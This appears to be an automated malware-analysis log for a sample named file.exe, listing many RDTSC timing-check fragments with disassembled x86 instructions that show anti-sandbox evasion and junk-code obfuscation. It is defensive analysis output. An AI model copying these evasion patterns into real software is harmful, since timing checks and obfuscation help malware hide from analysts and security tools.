Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7662 second address: 5B76A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f jmp 00007F6928B6AE82h 0x00000014 pop edi 0x00000015 mov eax, dword ptr [eax] 0x00000017 push esi 0x00000018 push ebx 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop ebx 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 js 00007F6928B6AE78h 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B76A7 second address: 5B76AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B76AD second address: 5B76B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B76B1 second address: 5B7721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 stc 0x0000000a push 00000003h 0x0000000c jp 00007F6928EA458Ch 0x00000012 sub dword ptr [ebp+122D2B8Ah], edx 0x00000018 push 00000000h 0x0000001a push 00000003h 0x0000001c push C204C4EFh 0x00000021 pushad 0x00000022 jno 00007F6928EA458Ch 0x00000028 jg 00007F6928EA4588h 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 xor dword ptr [esp], 0204C4EFh 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F6928EA4588h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000016h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D317Dh], eax 0x00000058 lea ebx, dword ptr [ebp+1245C339h] 0x0000005e push esi 0x0000005f cld 0x00000060 pop esi 0x00000061 xchg eax, ebx 0x00000062 push edi 0x00000063 push esi 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7721 second address: 5B7736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F6928B6AE7Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B77D6 second address: 5B7806 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6928EA4597h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, 19CFF413h 0x00000010 push 00000000h 0x00000012 sbb cl, 0000002Ch 0x00000015 push 473BB778h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7806 second address: 5B7811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6928B6AE76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7811 second address: 5B7817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7817 second address: 5B788D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6928B6AE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 473BB7F8h 0x00000013 call 00007F6928B6AE84h 0x00000018 mov dx, 0B63h 0x0000001c pop ecx 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007F6928B6AE78h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 push 00000000h 0x0000003b mov dword ptr [ebp+122D2E39h], ecx 0x00000041 mov dword ptr [ebp+122D2E39h], edi 0x00000047 push 00000003h 0x00000049 call 00007F6928B6AE79h 0x0000004e jbe 00007F6928B6AE84h 0x00000054 push eax 0x00000055 push edx 0x00000056 jns 00007F6928B6AE76h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B788D second address: 5B7899 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7899 second address: 5B78F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jo 00007F6928B6AE88h 0x00000018 jmp 00007F6928B6AE82h 0x0000001d mov eax, dword ptr [eax] 0x0000001f jmp 00007F6928B6AE7Bh 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 jc 00007F6928B6AE84h 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B78F1 second address: 5B793F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6928EA4586h 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F6928EA4591h 0x00000012 mov ecx, dword ptr [ebp+122D3B4Ah] 0x00000018 popad 0x00000019 lea ebx, dword ptr [ebp+1245C344h] 0x0000001f mov esi, dword ptr [ebp+122D39A6h] 0x00000025 mov dx, 102Bh 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d jmp 00007F6928EA4594h 0x00000032 pop eax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B793F second address: 5B7964 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6928B6AE78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6928B6AE85h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7964 second address: 5B797B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6928EA4586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6928EA458Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B797B second address: 5B797F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7D9A second address: 5D7DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5D39 second address: 5D5D52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE83h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D5D52 second address: 5D5D74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jmp 00007F6928EA4593h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6026 second address: 5D602C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D602C second address: 5D6036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F6928EA4586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6036 second address: 5D604E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F6928B6AE7Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D604E second address: 5D606F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F6928EA4598h 0x0000000b jmp 00007F6928EA4592h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D606F second address: 5D6073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6370 second address: 5D6381 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6928EA4586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65D9 second address: 5D65DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65DF second address: 5D65E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65E5 second address: 5D65EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D65EB second address: 5D65F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6928EA4586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D675C second address: 5D6766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6928B6AE76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6766 second address: 5D677C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6928EA4586h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F6928EA458Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6B70 second address: 5D6B84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jbe 00007F6928B6AE76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F6928B6AE78h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6B84 second address: 5D6B89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D6B89 second address: 5D6BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6928B6AE76h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jbe 00007F6928B6AE7Ch 0x00000016 pushad 0x00000017 push edi 0x00000018 pop edi 0x00000019 push esi 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D792B second address: 5D792F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D792F second address: 5D7938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7C03 second address: 5D7C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F6928EA4586h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F6928EA458Ch 0x00000013 jno 00007F6928EA4586h 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7C2A second address: 5D7C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6928B6AE76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7C34 second address: 5D7C4E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007F6928EA4586h 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DE604 second address: 5DE609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFBB0 second address: 5DFBBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3AF2 second address: 5E3AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C48A second address: 59C48E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C48E second address: 59C492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C492 second address: 59C4AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F6928EA4594h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C4AE second address: 59C4C5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6928B6AE82h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C4B8 second address: 59C4C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6928EA4586h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E32B1 second address: 5E32B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E32B5 second address: 5E32B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E341A second address: 5E342C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F6928B6AE7Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6E82 second address: 5E6E88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6E88 second address: 5E6E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7232 second address: 5E7238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7238 second address: 5E723C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7B8E second address: 5E7B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7B93 second address: 5E7BD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c mov si, 4107h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F6928B6AE89h 0x00000019 jo 00007F6928B6AE76h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7CA6 second address: 5E7CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7FCE second address: 5E7FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7FD2 second address: 5E7FD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E853F second address: 5E859D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F6928B6AE78h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 and si, CA22h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F6928B6AE78h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 movzx esi, si 0x00000047 xchg eax, ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a jne 00007F6928B6AE78h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9F33 second address: 5E9F3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96F5 second address: 5E96FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9F3F second address: 5E9F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6928EA4592h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F6928EA4596h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96FB second address: 5E9700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECC97 second address: 5ECCAE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6928EA4588h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F6928EA4588h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0051 second address: 5F0057 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0057 second address: 5F005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F005D second address: 5F00EB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6928B6AE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D2B79h], edi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F6928B6AE78h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov ebx, 29D51705h 0x00000036 mov dword ptr [ebp+122D2B7Dh], esi 0x0000003c push 00000000h 0x0000003e movzx ebx, ax 0x00000041 jmp 00007F6928B6AE7Fh 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 pushad 0x00000049 jmp 00007F6928B6AE84h 0x0000004e pushad 0x0000004f popad 0x00000050 popad 0x00000051 pop eax 0x00000052 push eax 0x00000053 pushad 0x00000054 jmp 00007F6928B6AE7Fh 0x00000059 jc 00007F6928B6AE7Ch 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED37C second address: 5ED380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED380 second address: 5ED396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6928B6AE7Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF2AE second address: 5EF2B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4315 second address: 5F431C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0208 second address: 5F021A instructions: 0x00000000 rdtsc 0x00000002 js 00007F6928EA4586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F6928EA4586h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F02BF second address: 5F02C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F23DE second address: 5F23E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F34CF second address: 5F34D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F44EB second address: 5F44F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5561 second address: 5F5567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F02C3 second address: 5F02C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F23E4 second address: 5F23E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F44F1 second address: 5F44F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5567 second address: 5F556B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F99EF second address: 5F99F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F99F8 second address: 5F99FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9C47 second address: 5F9C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8B2E second address: 5F8B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FABC3 second address: 5FABC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9C4D second address: 5F9C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
